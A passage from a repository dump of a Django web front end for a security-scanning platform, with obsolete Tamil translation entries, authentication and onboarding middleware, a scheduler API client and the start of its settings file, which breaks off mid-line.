வெளியீடு MIME- வகைகளில் \"\n#~ \"அனுப்புகின்றன.\\n\"\n#~ \"                    \"\n\n#~ msgid \"Concatenated Report\"\n#~ msgstr \"ஒருங்கிணைந்த அறிக்கை\"\n\n#~ msgid \"\"\n#~ \"Define a custom name format for your report(s). This format will be \"\n#~ \"applied to all generated (sub)reports.\"\n#~ msgstr \"\"\n#~ \"உங்கள் அறிக்கை (கள்) க்கான தனிப்பயன் பெயர் வடிவமைப்பை வரையறுக்கவும். உருவாக்கப்பட்ட \"\n#~ \"அனைத்து (துணை) அறிக்கைகளுக்கும் இந்த வடிவம் பயன்படுத்தப்படும்.\"\n\n#, python-brace-format\n#~ msgid \"\"\n#~ \"To make the report names more descriptive, you can include placeholders \"\n#~ \"for the object name, the report type and/or the reference date. For \"\n#~ \"subreports and reports over a single object, use the placeholder \"\n#~ \"\\\"${ooi}\\\" for the object name, \\\"${report_type}\\\" for the report type \"\n#~ \"and use a <a href=\\\"https://strftime.org/\\\" target=\\\"_blank\\\" \"\n#~ \"rel=\\\"noopener\\\">Python strftime code</a> for the reference date. For \"\n#~ \"reports over multiple objects, use \\\"${oois_count}\\\" for the number of \"\n#~ \"objects in the report.\"\n#~ msgstr \"\"\n#~ \"அறிக்கை பெயர்களை மேலும் விளக்கமளிக்க, பொருள் பெயர், அறிக்கை வகை மற்றும்/அல்லது \"\n#~ \"குறிப்பு தேதிக்கான பிளேச்ஓல்டர்களை நீங்கள் சேர்க்கலாம். ஒரு பொருளின் மீது துணை \"\n#~ \"அறிக்கைகள் மற்றும் அறிக்கைகளுக்கு, அறிக்கை வகைக்கு \\\"${ooi}\\\" என்ற பொருளுக்கு \"\n#~ \"\\\"${report_type}\\\" என்ற ஒதுக்கிடத்தைப் பயன்படுத்தவும், <a href=\\\"https://\"\n#~ \"strftime.org/\\\" target=\\\"_blank\\\" rel=\\\"noopener\\\"> பைதான் strftime \"\n#~ \"குறியீடு </a> குறிப்புத் தேதிக்கு. பல பொருள்களின் அறிக்கைகளுக்கு, அறிக்கையில் உள்ள \"\n#~ \"பொருட்களின் எண்ணிக்கையில் \\\"${oois_count}\\\" ஐப் பயன்படுத்தவும்.\"\n\n#, python-format, python-brace-format\n#~ msgid \"\"\n#~ \"For example, the format \\\"${report_type} for ${ooi} at %%x\\\" could \"\n#~ \"generate: \\\"DNS Report for example.com at 01/01/25\\\".\"\n#~ msgstr \"\"\n#~ \"எடுத்துக்காட்டாக, %% ஃச் இல் ${ooi} க்கான \\\"$ {report_type} வடிவம் உருவாக்கப்படலாம்:\"\n#~ \"\\\" எடுத்துக்காட்டு.காமிற்கான டிஎன்எச் அறிக்கை 01/01/25 \\\".\"\n\n#~ msgid \"Subreports name format\"\n#~ msgstr \"துணை அறிக்கைகள் பெயர் வடிவம்\"\n\n#~ msgid \"Input Objects\"\n#~ msgstr \"உள்ளீட்டு பொருள்கள்\"\n\n#~ msgid \"Close children report object details\"\n#~ msgstr \"மூடு குழந்தைகள் பொருள் விவரங்களைப் புகாரளிக்கவும்\"\n\n#~ msgid \"Open children report object details\"\n#~ msgstr \"திறந்த குழந்தைகள் பொருள் விவரங்களைப் புகாரளிக்கிறார்கள்\"\n\n#~ msgid \"Subreports details:\"\n#~ msgstr \"துணை அறிக்கைகள் விவரங்கள்:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"This report consist of %(counter)s subreport with the following report \"\n#~ \"type and object.\"\n#~ msgid_plural \"\"\n#~ \"This report consist of %(counter)s subreports with the following report \"\n#~ \"types and objects.\"\n#~ msgstr[0] \"\"\n#~ \"இந்த அறிக்கை பின்வரும் அறிக்கை வகை மற்றும் பொருளுடன் %(counter)s துணை அறிக்கையைக் \"\n#~ \"கொண்டுள்ளது.\"\n#~ msgstr[1] \"\"\n#~ \"இந்த அறிக்கை பின்வரும் அறிக்கை வகை மற்றும் பொருளுடன் %(counter)s துணை அறிக்கைகளைக் \"\n#~ \"கொண்டுள்ளது.\"\n\n#~ msgid \"Subreports\"\n#~ msgstr \"Oray\"\n\n#~ msgid \"Shows subreport details\"\n#~ msgstr \"துணை அறிக்கை விவரங்களைக் காட்டுகிறது\"\n\n#~ msgid \"View all subreports\"\n#~ msgstr \"அனைத்து துணை அறிக்கைகளையும் காண்க\"\n\n#~ msgid \"Input\"\n#~ msgstr \"உள்ளீடு\"\n\n#, python-format\n#~ msgid \"Showing %(length)s of %(total)s subreports\"\n#~ msgstr \"%(total)s இல் %(length)s துணை அறிக்கைகளைக் காட்டுகிறது\"\n\n#~ msgid \"Subreports:\"\n#~ msgstr \"துணை அறிக்கைகள்:\"\n\n#~ msgid \"\"\n#~ \"Multi organization reports cannot be rescheduled. It consists of imported \"\n#~ \"data from different organizations and not based on new generated data.\"\n#~ msgstr \"\"\n#~ \"பல அமைப்பு அறிக்கைகளை மாற்றியமைக்க முடியாது. இது வெவ்வேறு நிறுவனங்களிலிருந்து \"\n#~ \"இறக்குமதி செய்யப்பட்ட தரவைக் கொண்டுள்ளது, ஆனால் புதிய உருவாக்கப்பட்ட தரவின் \"\n#~ \"அடிப்படையில் அல்ல.\"\n\n#~ msgid \"Rerun successful\"\n#~ msgstr \"வெற்றிகரமாக மீண்டும் இணைக்கவும்\"\n\n#~ msgid \"Add related\"\n#~ msgstr \"தொடர்புடையதைச் சேர்\"\n\n#~ msgid \"No related objects added to\"\n#~ msgstr \"தொடர்புடைய பொருள்கள் எதுவும் சேர்க்கப்படவில்லை\"\n\n#~ msgid \"Use the button below to add a related object.\"\n#~ msgstr \"தொடர்புடைய பொருளைச் சேர்க்க கீழே உள்ள பொத்தானைப் பயன்படுத்தவும்.\"\n"
  },
  {
    "path": "rocky/rocky/messaging.py",
    "content": "from django.contrib import messages\nfrom django.utils.translation import gettext_lazy as _\nfrom onboarding.view_helpers import DNS_REPORT_LEAST_CLEARANCE_LEVEL\n\n\ndef clearance_level_warning_dns_report(request, trusted_clearance_level):\n    message = _(\n        \"You have trusted this member with a clearance level of L{}. \"\n        \"This member needs at least a clearance level of L{} in order to do a proper onboarding. \"\n        \"Edit this member and change the clearance level if necessary.\"\n    ).format(trusted_clearance_level, DNS_REPORT_LEAST_CLEARANCE_LEVEL)\n    messages.add_message(request, messages.WARNING, message)\n"
  },
  {
    "path": "rocky/rocky/middleware/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/middleware/auth_required.py",
    "content": "from django.conf import settings\nfrom django.contrib.auth.views import redirect_to_login\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils import translation\n\n\ndef AuthRequiredMiddleware(get_response):\n    def middleware(request):\n        two_factor_setup_path = reverse(\"setup\")\n        # URLs excluded from login and 2fa\n        excluded = [\n            \"/\",\n            reverse(\"login\"),\n            reverse(\"recover_email\"),\n            reverse(\"password_reset\"),\n            reverse(\"landing_page\"),\n            reverse(\"set_language\"),\n            reverse(\"privacy_statement\"),\n        ]\n        excluded_prefix = [\n            # There won't be a request.user if auth tokens are used, but\n            # Django REST framework will make sure that there is an\n            # authenticated user without DEFAULT_PERMISSION_CLASSES setting\n            # in settings.py.\n            \"/api/\",\n            f\"/{translation.get_language()}/reset/\",\n        ]\n        # URLs only excluded from 2fa\n        excluded_2fa = [two_factor_setup_path, reverse(\"two_factor:qr\"), reverse(\"logout\")]\n\n        # Check if the user is logged in, and if not, redirect to login page\n        if not request.user.is_authenticated and not (\n            # check if path is not in excluded list\n            request.path in excluded\n            # check if path starts with anything in excluded_prefix\n            or any([request.path.startswith(prefix) for prefix in excluded_prefix])\n        ):\n            return redirect_to_login(request.get_full_path())\n\n        # When 2fa is enabled, check if user is verified, otherwise redirect to 2fa setup page\n        if (\n            settings.TWOFACTOR_ENABLED\n            and not (\n                # check if path is not in excluded list\n                request.path in excluded\n                or request.path in excluded_2fa\n                # check if path starts with anything in excluded_prefix\n                or any([request.path.startswith(prefix) for prefix in excluded_prefix])\n            )\n            # This check should be after excluding /api because API users won't have `is_verified`\n            and not request.user.is_verified()\n        ):\n            return redirect(two_factor_setup_path)\n\n        return get_response(request)\n\n    return middleware\n"
  },
  {
    "path": "rocky/rocky/middleware/onboarding.py",
    "content": "from django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom onboarding.view_helpers import ONBOARDING_PERMISSIONS\nfrom tools.models import OrganizationMember\n\n\ndef OnboardingMiddleware(get_response):\n    def middleware(request):\n        response = get_response(request)\n        if request.user.is_authenticated:\n            member_onboarded = list(filter(lambda o: o.onboarded, request.user.organization_members))\n\n            # do not redirect itself, otherwise it will endup in endless loop\n            # with too many redirects\n            # exclude admin urls\n            if (\n                not (\n                    \"/onboarding/\" in request.path\n                    or \"/admin/\" in request.path\n                    or \"/login/\" in request.path\n                    or \"/two_factor/\" in request.path\n                    or \"/plugins\" in request.path\n                    or \"/i18n/\" in request.path\n                    or \"/introduction/\" in request.path\n                    or \"/health/\" in request.path\n                    or request.path.startswith(\"/api/\")\n                )\n                and not member_onboarded\n            ):\n                # Not onboarded superusers goes to registration of the their first organization + adding members to it.\n                if request.user.is_superuser:\n                    return redirect(reverse(\"step_1_introduction_registration\"))\n\n                # Members with these permissions can run a full DNS-report onboarding.\n                if (member := OrganizationMember.objects.filter(user=request.user).first()) and member.has_perms(\n                    ONBOARDING_PERMISSIONS\n                ):\n                    return redirect(\n                        reverse(\"step_1a_introduction\", kwargs={\"organization_code\": member.organization.code})\n                    )\n\n        return response\n\n    return middleware\n"
  },
  {
    "path": "rocky/rocky/middleware/otel.py",
    "content": "from opentelemetry import trace\n\ntracer = trace.get_tracer(__name__)\n\n\nclass OTELInstrumentTemplateMiddleware:\n    \"\"\"\n    Django middleware to instrument template rendering using OpenTelemetry\n    \"\"\"\n\n    def __init__(self, get_response):\n        self.get_response = get_response\n\n    def __call__(self, request):\n        return self.get_response(request)\n\n    def process_template_response(self, request, response):\n        if hasattr(response, \"render\") and callable(response.render):\n            # get the original render method\n            original_render = response.render\n\n            # create a span to trace the template rendering\n            tracer = trace.get_tracer(__name__)\n            span = tracer.start_span(\"django.render_template\")\n\n            # define the new render method which will close the span\n            def traced_render(*args, **kwargs):\n                try:\n                    return original_render(*args, **kwargs)\n                finally:\n                    span.end()\n\n            # replace the render method on the response with the new one\n            response.render = traced_render\n\n        return response\n"
  },
  {
    "path": "rocky/rocky/middleware/remote_user.py",
    "content": "from django.conf import settings\nfrom django.contrib.auth.middleware import RemoteUserMiddleware as BaseRemoteUserMiddleware\n\n\nclass RemoteUserMiddleware(BaseRemoteUserMiddleware):\n    header = settings.REMOTE_USER_HEADER\n"
  },
  {
    "path": "rocky/rocky/otel.py",
    "content": "import structlog\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\nfrom opentelemetry.instrumentation.django import DjangoInstrumentor\nfrom opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor\nfrom opentelemetry.instrumentation.psycopg2 import Psycopg2Instrumentor\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\n\nlogger = structlog.get_logger(__name__)\n\n\nclass OpenTelemetryHelper:\n    \"\"\"\n    Helper class to set up OpenTelemetry instrumentation.\n    \"\"\"\n\n    @staticmethod\n    def setup_instrumentation(span_export_grpc_endpoint):\n        logger.info(\"Setting up instrumentation with span exporter endpoint [%s]\", span_export_grpc_endpoint)\n\n        DjangoInstrumentor().instrument(is_sql_commentor_enabled=True)\n        Psycopg2Instrumentor().instrument()\n        HTTPXClientInstrumentor().instrument()\n\n        resource = Resource(attributes={SERVICE_NAME: \"rocky\"})\n        provider = TracerProvider(resource=resource)\n        processor = BatchSpanProcessor(OTLPSpanExporter(endpoint=span_export_grpc_endpoint))\n        provider.add_span_processor(processor)\n        trace.set_tracer_provider(provider)\n\n        logger.debug(\"Finished setting up instrumentation\")\n"
  },
  {
    "path": "rocky/rocky/paginator.py",
    "content": "from math import ceil\nfrom typing import Any\n\nfrom django.core.paginator import EmptyPage, Page, PageNotAnInteger, Paginator\nfrom django.utils.functional import cached_property\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass RockyPaginator(Paginator):\n    def __init__(self, object_list, per_page, orphans, allow_empty_first_page) -> None:\n        self.object_list = object_list\n        self.per_page = per_page\n        self.orphans = orphans\n        self.allow_empty_first_page = allow_empty_first_page\n\n    @cached_property\n    def num_pages(self) -> int:\n        if self.count == 0 and not self.allow_empty_first_page:\n            return 0\n        hits = max(1, self.count - self.orphans)\n        return ceil(hits / self.per_page)\n\n    @cached_property\n    def count(self):\n        \"\"\"Return the total number of objects, across all pages.\"\"\"\n        return len(self.object_list)\n\n    def validate_number(self, number: Any) -> int:\n        \"\"\"Validate the given page number.\"\"\"\n        try:\n            if isinstance(number, float) and not number.is_integer():\n                raise ValueError\n            parsed_number = int(number)\n        except (TypeError, ValueError):\n            raise PageNotAnInteger(_(\"That page number is not an integer\"))\n        if parsed_number < 1:\n            raise EmptyPage(_(\"That page number is less than 1\"))\n        return parsed_number\n\n    def get_page(self, number):\n        try:\n            number = self.validate_number(number)\n        except (PageNotAnInteger, EmptyPage):\n            number = 1\n        return self.page(number)\n\n    def page(self, number: Any) -> Page:\n        \"\"\"Return a Page object per page number.\"\"\"\n        number = self.validate_number(number)\n        bottom = (number - 1) * self.per_page\n        top = bottom + self.per_page\n        page_objects = self.object_list[bottom:top]\n        if not page_objects and number > self.num_pages:\n            raise EmptyPage(_(\"That page contains no results\"))\n        return Page(page_objects, number, self)\n"
  },
  {
    "path": "rocky/rocky/permissions.py",
    "content": "from rest_framework.permissions import DjangoModelPermissions\n\n\nclass KATModelPermissions(DjangoModelPermissions):\n    # We change the permissions map to include the view permissions for\n    # GET/OPTIONS/HEAD.\n    perms_map = {\n        \"GET\": [\"%(app_label)s.view_%(model_name)s\"],\n        \"OPTIONS\": [\"%(app_label)s.view_%(model_name)s\"],\n        \"HEAD\": [\"%(app_label)s.view_%(model_name)s\"],\n        \"POST\": [\"%(app_label)s.add_%(model_name)s\"],\n        \"PUT\": [\"%(app_label)s.change_%(model_name)s\"],\n        \"PATCH\": [\"%(app_label)s.change_%(model_name)s\"],\n        \"DELETE\": [\"%(app_label)s.delete_%(model_name)s\"],\n    }\n"
  },
  {
    "path": "rocky/rocky/scheduler.py",
    "content": "from __future__ import annotations\n\nimport datetime\nimport uuid\nfrom enum import Enum\nfrom functools import cached_property\nfrom typing import Any\n\nimport httpx\nimport structlog\nfrom django.conf import settings\nfrom django.utils.translation import gettext_lazy as _\nfrom httpx import ConnectError, HTTPError, HTTPStatusError, RequestError, codes\nfrom pydantic import BaseModel, ConfigDict, Field, SerializeAsAny, TypeAdapter, ValidationError\n\nfrom rocky.health import ServiceHealth\n\nlogger = structlog.get_logger(__name__)\n\n\nclass Boefje(BaseModel):\n    \"\"\"Boefje representation.\"\"\"\n\n    id: str\n    name: str | None = Field(default=None)\n    version: str | None = Field(default=None)\n    oci_image: str | None = Field(default=None)\n\n\nclass BoefjeMeta(BaseModel):\n    \"\"\"BoefjeMeta is the response object returned by the Bytes API\"\"\"\n\n    id: uuid.UUID\n    boefje: Boefje\n    input_ooi: str | None = None\n    arguments: dict[str, Any]\n    organization: str\n    started_at: datetime.datetime | None = None\n    ended_at: datetime.datetime | None = None\n\n\nclass RawData(BaseModel):\n    id: uuid.UUID\n    boefje_meta: BoefjeMeta\n    mime_types: list[dict[str, str]]\n    secure_hash: str | None = None\n    hash_retrieval_link: str | None = None\n\n\nclass Normalizer(BaseModel):\n    \"\"\"Normalizer representation.\"\"\"\n\n    id: str | None = None\n    name: str | None = None\n    version: str | None = Field(default=None)\n\n\nclass NormalizerMeta(BaseModel):\n    id: uuid.UUID\n    raw_data: RawData\n    normalizer: Normalizer\n    started_at: datetime.datetime\n    ended_at: datetime.datetime\n\n\nclass NormalizerTask(BaseModel):\n    \"\"\"NormalizerTask represent data needed for a Normalizer to run.\"\"\"\n\n    type: str = \"normalizer\"\n\n    id: uuid.UUID | None = None\n    normalizer: Normalizer\n    raw_data: RawData\n\n\nclass BoefjeTask(BaseModel):\n    \"\"\"BoefjeTask represent data needed for a Boefje to run.\"\"\"\n\n    type: str = \"boefje\"\n\n    id: uuid.UUID | None = None\n    boefje: Boefje\n    input_ooi: str | None = None\n    organization: str\n    deduplication_key: uuid.UUID | None = None\n\n\nclass ReportTask(BaseModel):\n    \"\"\"ReportTask represent data needed for a Report to run.\"\"\"\n\n    type: str = \"report\"\n\n    organisation_id: str\n    report_recipe_id: str\n\n\nclass TaskStatus(Enum):\n    # Task has been created but not yet queued\n    PENDING = \"pending\"\n\n    # Task has been pushed onto queue and is ready to be picked up\n    QUEUED = \"queued\"\n\n    # Task has been picked up by a worker\n    DISPATCHED = \"dispatched\"\n\n    # Task has been picked up by a worker, and the worker indicates that it is\n    # running.\n    RUNNING = \"running\"\n\n    # Task has been completed\n    COMPLETED = \"completed\"\n\n    # Task has failed\n    FAILED = \"failed\"\n\n    # Task has been cancelled\n    CANCELLED = \"cancelled\"\n\n\nclass Task(BaseModel):\n    model_config = ConfigDict(from_attributes=True)\n\n    id: uuid.UUID = Field(default_factory=uuid.uuid4)\n    scheduler_id: str\n    schedule_id: str | None = None\n    organisation: str\n    priority: int\n    status: TaskStatus | None = TaskStatus.PENDING\n    type: str | None = None\n    hash: str | None = None\n    data: SerializeAsAny[BoefjeTask | NormalizerTask | ReportTask]\n    created_at: datetime.datetime | None = None\n    modified_at: datetime.datetime | None = None\n\n    def organization_id(self) -> str:\n        if isinstance(self.data, BoefjeTask):\n            return self.data.organization\n\n        if isinstance(self.data, NormalizerTask):\n            return self.data.raw_data.boefje_meta.organization\n\n        if isinstance(self.data, ReportTask):\n            return self.data.organisation_id\n\n        raise ValueError(\"No organization found related to task\")\n\n\nclass TaskPush(BaseModel):\n    id: uuid.UUID | None = None\n    scheduler_id: str | None = None\n    organisation: str\n    priority: int | None = None\n    data: dict\n\n\nclass ScheduleRequest(BaseModel):\n    model_config = ConfigDict(from_attributes=True)\n\n    scheduler_id: str\n    organisation: str\n    data: dict\n    schedule: str | None = None\n    deadline_at: str\n\n\nclass ScheduleResponse(BaseModel):\n    model_config = ConfigDict(from_attributes=True)\n\n    id: uuid.UUID\n    scheduler_id: str\n    organisation: str\n    hash: str\n    data: dict\n    enabled: bool\n    schedule: str | None\n    deadline_at: datetime.datetime | None\n    created_at: datetime.datetime\n    modified_at: datetime.datetime\n\n\nclass SchedulerResponse(BaseModel):\n    id: str\n    enabled: bool\n    priority_queue: dict[str, Any]\n    last_activity: str | None\n\n\nclass SchedulerNoResponse(BaseModel):\n    detail: str\n\n\nclass Queue(BaseModel):\n    id: str\n    size: int\n\n\nclass PaginatedTasksResponse(BaseModel):\n    count: int\n    next: str | None = None\n    previous: str | None = None\n    results: list[Task]\n\n\nclass TaskPop(BaseModel):\n    results: list[Task]\n\n\nclass PaginatedSchedulesResponse(BaseModel):\n    count: int\n    next: str | None = None\n    previous: str | None = None\n    results: list[ScheduleResponse]\n\n\nclass LazyTaskList:\n    HARD_LIMIT = 500\n\n    def __init__(self, scheduler_client: SchedulerClient, **kwargs: Any):\n        self.scheduler_client = scheduler_client\n        self.kwargs = kwargs\n        self._count: int | None = None\n\n    @cached_property\n    def count(self) -> int:\n        if self._count is None:\n            self._count = self.scheduler_client.list_tasks(limit=0, **self.kwargs).count\n        return self._count\n\n    def __len__(self):\n        return self.count\n\n    def __getitem__(self, key: slice | int) -> list[Task]:\n        if isinstance(key, slice):\n            offset = key.start or 0\n            limit = min(LazyTaskList.HARD_LIMIT, key.stop - offset or key.stop or LazyTaskList.HARD_LIMIT)\n\n        elif isinstance(key, int):\n            offset = key\n            limit = 1\n        else:\n            raise TypeError(\"Invalid slice argument type.\")\n\n        logger.debug(\"Getting max %s lazy items at offset %s with filter %s\", limit, offset, self.kwargs)\n        res = self.scheduler_client.list_tasks(limit=limit, offset=offset, **self.kwargs)\n\n        self._count = res.count\n\n        return res.results\n\n\nclass SchedulerError(Exception):\n    message: str = _(\"The Scheduler has an unexpected error. Check the Scheduler logs for further details.\")\n\n    def __init__(self, *args: object, extra_message: str | None = None) -> None:\n        super().__init__(*args)\n        if extra_message is not None:\n            self.message = extra_message + self.message\n\n    def __str__(self) -> str:\n        return str(self.message)\n\n\nclass SchedulerConnectError(SchedulerError):\n    message = _(\"Could not connect to Scheduler. Service is possibly down.\")\n\n\nclass SchedulerValidationError(SchedulerError):\n    message = _(\"Your request could not be validated.\")\n\n\nclass SchedulerTaskNotFound(SchedulerError):\n    message = _(\"Task could not be found.\")\n\n\nclass SchedulerTooManyRequestError(SchedulerError):\n    message = _(\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or wait for task to finish.\")\n\n\nclass SchedulerBadRequestError(SchedulerError):\n    message = _(\"Bad request. Your request could not be interpreted by the Scheduler.\")\n\n\nclass SchedulerConflictError(SchedulerError):\n    message = _(\"The Scheduler has received a conflict. Your task is already in queue.\")\n\n\nclass SchedulerHTTPError(SchedulerError):\n    message = _(\"A HTTPError occurred. See Scheduler logs for more info.\")\n\n\nclass SchedulerClient:\n    def __init__(self, base_uri: str, organization_code: str | None):\n        self._client = httpx.Client(base_url=base_uri, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT)\n        self.organization_code = organization_code\n\n    def list_schedules(self, **kwargs) -> PaginatedSchedulesResponse:\n        try:\n            kwargs = {k: v for k, v in kwargs.items() if v is not None}  # filter Nones from kwargs\n            res = self._client.get(\"/schedules\", params=kwargs)\n            res.raise_for_status()\n            return PaginatedSchedulesResponse.model_validate_json(res.content)\n        except ValidationError:\n            raise SchedulerValidationError(extra_message=_(\"Schedule list: \"))\n        except ConnectError:\n            raise SchedulerConnectError(extra_message=_(\"Schedule list: \"))\n\n    def get_schedule_details(self, schedule_id: str) -> ScheduleResponse:\n        try:\n            res = self._client.get(f\"/schedules/{schedule_id}\")\n            res.raise_for_status()\n            return ScheduleResponse.model_validate_json(res.content)\n        except ConnectError:\n            raise SchedulerConnectError()\n\n    def post_schedule_search(self, filters: dict[str, list[dict[str, Any]]]) -> PaginatedSchedulesResponse:\n        try:\n            filters[\"filters\"].append({\"column\": \"organisation\", \"operator\": \"eq\", \"value\": self.organization_code})\n            res = self._client.post(\"/schedules/search\", json=filters)\n            res.raise_for_status()\n            return PaginatedSchedulesResponse.model_validate_json(res.content)\n        except ConnectError:\n            raise SchedulerConnectError()\n\n    def patch_schedule(self, schedule_id: str, params: dict[str, Any]) -> None:\n        try:\n            response = self._client.patch(f\"/schedules/{schedule_id}\", json=params)\n            response.raise_for_status()\n            logger.info(\"Schedule updated\", event_code=800082, schedule_id=schedule_id, params=params)\n        except (HTTPStatusError, ConnectError):\n            raise SchedulerHTTPError()\n\n    def post_schedule(self, schedule: ScheduleRequest) -> ScheduleResponse:\n        try:\n            res = self._client.post(\"/schedules\", json=schedule.model_dump(exclude_none=True, mode=\"json\"))\n            logger.info(res.content)\n            res.raise_for_status()\n            logger.info(\"Schedule created\", event_code=800081, schedule=schedule)\n\n            return ScheduleResponse.model_validate_json(res.content)\n        except ValidationError:\n            raise SchedulerValidationError(extra_message=\"Report schedule failed: \")\n        except HTTPStatusError:\n            raise SchedulerHTTPError()\n        except ConnectError:\n            raise SchedulerConnectError()\n\n    def delete_schedule(self, schedule_id: str) -> None:\n        try:\n            response = self._client.delete(f\"/schedules/{schedule_id}\")\n            response.raise_for_status()\n            logger.info(\"Schedule deleted\", event_code=800083, schedule_id=schedule_id)\n        except (HTTPStatusError, ConnectError):\n            raise SchedulerHTTPError()\n\n    def list_tasks(self, **kwargs) -> PaginatedTasksResponse:\n        try:\n            filter_key = \"filters\"\n            params = {k: v for k, v in kwargs.items() if v is not None if k != filter_key}  # filter Nones from kwargs\n            endpoint = \"/tasks\"\n            res = self._client.post(endpoint, params=params, json=kwargs.get(filter_key))\n            return PaginatedTasksResponse.model_validate_json(res.content)\n        except ValidationError as error:\n            raise SchedulerValidationError(extra_message=_(\"Task list: \")) from error\n        except ConnectError:\n            raise SchedulerConnectError(extra_message=_(\"Task list: \"))\n\n    def get_task_details(self, task_id: str) -> Task:\n        try:\n            task_id = str(uuid.UUID(task_id))\n            return Task.model_validate_json(self._get(f\"/tasks/{task_id}\", return_type=\"content\"))\n        except ValueError:\n            raise SchedulerTaskNotFound()\n\n    def push_task(self, item: Task) -> None:\n        try:\n            res = self._client.post(\n                f\"/schedulers/{item.scheduler_id}/push\", json=item.model_dump(exclude_none=True, mode=\"json\")\n            )\n            res.raise_for_status()\n        except HTTPStatusError as http_error:\n            code = http_error.response.status_code\n            if code == codes.TOO_MANY_REQUESTS:\n                raise SchedulerTooManyRequestError() from http_error\n            elif code == codes.BAD_REQUEST:\n                raise SchedulerBadRequestError() from http_error\n            elif code == codes.CONFLICT:\n                raise SchedulerConflictError() from http_error\n        except RequestError as request_error:\n            raise SchedulerError() from request_error\n\n    def get_queues(self) -> list[Queue]:\n        response = self._client.get(\"/queues\")\n        response.raise_for_status()\n\n        return TypeAdapter(list[Queue]).validate_json(response.content)\n\n    def pop_item(self, scheduler_id: str) -> Task | None:\n        response = self._client.post(f\"/schedulers/{scheduler_id}/pop?limit=1\")\n        response.raise_for_status()\n\n        popped_items = TypeAdapter(TaskPop | None).validate_json(response.content)\n        if len(popped_items.results) == 0:\n            return None\n\n        return popped_items.results[0]\n\n    def pop_items(self, scheduler_id: str, filters: dict[str, Any]) -> TaskPop | None:\n        response = self._client.post(f\"/schedulers/{scheduler_id}/pop\", json=filters)\n\n        return TypeAdapter(TaskPop | None).validate_json(response.content)\n\n    def patch_task(self, task_id: uuid.UUID, status: TaskStatus) -> None:\n        response = self._client.patch(f\"/tasks/{task_id}\", json={\"status\": status.value})\n        response.raise_for_status()\n\n    def health(self) -> ServiceHealth:\n        return ServiceHealth.model_validate_json(self._get(\"/health\", return_type=\"content\"))\n\n    def _get_task_stats(self, scheduler_id: str, organization_ids: list[str] | None = None) -> dict:\n        \"\"\"Return task stats for specific scheduler.\"\"\"\n\n        params: dict[str, object] = {\"scheduler_id\": scheduler_id}\n\n        if organization_ids:\n            params[\"organisation_id\"] = organization_ids\n\n        return self._get(\"/tasks/stats\", params=params)  # type: ignore\n\n    def get_task_stats(self, task_type: str) -> dict:\n        \"\"\"Return task stats for specific task type.\"\"\"\n        if not self.organization_code:\n            raise ValueError(\"No organization_code set\")\n        return self._get_task_stats(scheduler_id=task_type, organization_ids=[self.organization_code])\n\n    def get_combined_schedulers_stats(self, scheduler_id: str, organization_ids: list[str] | None = None) -> dict:\n        \"\"\"Return merged stats for a set of organization ids.\"\"\"\n        return self._get_task_stats(scheduler_id, organization_ids)\n\n    def _get(self, path: str, params: dict | None = None, return_type: str = \"json\") -> dict | bytes:\n        \"\"\"Helper to do a get request and raise warning for path.\"\"\"\n        try:\n            res = self._client.get(path, params=params)\n            res.raise_for_status()\n        except HTTPError as exc:\n            raise SchedulerError(path) from exc\n        except ConnectError as exc:\n            raise SchedulerConnectError(path) from exc\n\n        if return_type == \"content\":\n            return res.content\n        return res.json()\n\n    def get_scheduled_reports(self) -> list[dict[str, Any]]:\n        try:\n            filters: dict[str, list[dict[str, Any]]] = {\n                \"filters\": [\n                    {\"column\": \"scheduler_id\", \"operator\": \"eq\", \"value\": \"report\"},\n                    {\"column\": \"organisation\", \"operator\": \"eq\", \"value\": self.organization_code},\n                ]\n            }\n\n            response = self._client.post(\"/schedules/search\", json=filters)\n            response.raise_for_status()\n        except HTTPStatusError:\n            logger.error(\"A HTTPStatusError occurred. Check logs for more info.\")\n        return response.json()[\"results\"]\n\n\ndef scheduler_client(organization_code: str | None) -> SchedulerClient:\n    return SchedulerClient(settings.SCHEDULER_API, organization_code)\n"
  },
  {
    "path": "rocky/rocky/settings.py",
    "content": "\"\"\"\nDjango settings for rocky project.\n\nGenerated by 'django-admin startproject' using Django 3.2.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/4.2/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/4.2/ref/settings/\n\"\"\"\n\nimport json\nimport logging.config\nimport re\nfrom pathlib import Path\n\nimport environ\nimport structlog\nfrom csp.constants import NONE, SELF\nfrom django.conf import locale\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.debug import SafeExceptionReporterFilter\n\nfrom rocky.otel import OpenTelemetryHelper\n\nenv = environ.Env()\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\nenviron.Env.read_env(BASE_DIR / \".env\")\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/4.2/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = env(\"SECRET_KEY\")\n\nOCTOPOES_API = env.url(\"OCTOPOES_API\").geturl()\n\nSCHEDULER_API = env.url(\"SCHEDULER_API\").geturl()\n\nKATALOGUS_API = env.url(\"KATALOGUS_API\").geturl()\n\nBYTES_API = env.url(\"BYTES_API\").geturl()\nBYTES_USERNAME = env(\"BYTES_USERNAME\")\nBYTES_PASSWORD = env(\"BYTES_PASSWORD\")\n\n# See these Django release notes: https://docs.djangoproject.com/en/dev/releases/3.1/#error-reporting\nHIDDEN_DEFAULT = \"API|TOKEN|KEY|SECRET|PASS|SIGNATURE|HTTP_COOKIE\"\nHIDDEN_ADDITIONAL = \"ROCKY|BOEFJES|BYTES|MULA|SCHEDULER|OCTOPOES|RABBITMQ_|_URI\"\n\n\nclass SaferExceptionReporterFilter(SafeExceptionReporterFilter):\n    hidden_settings = 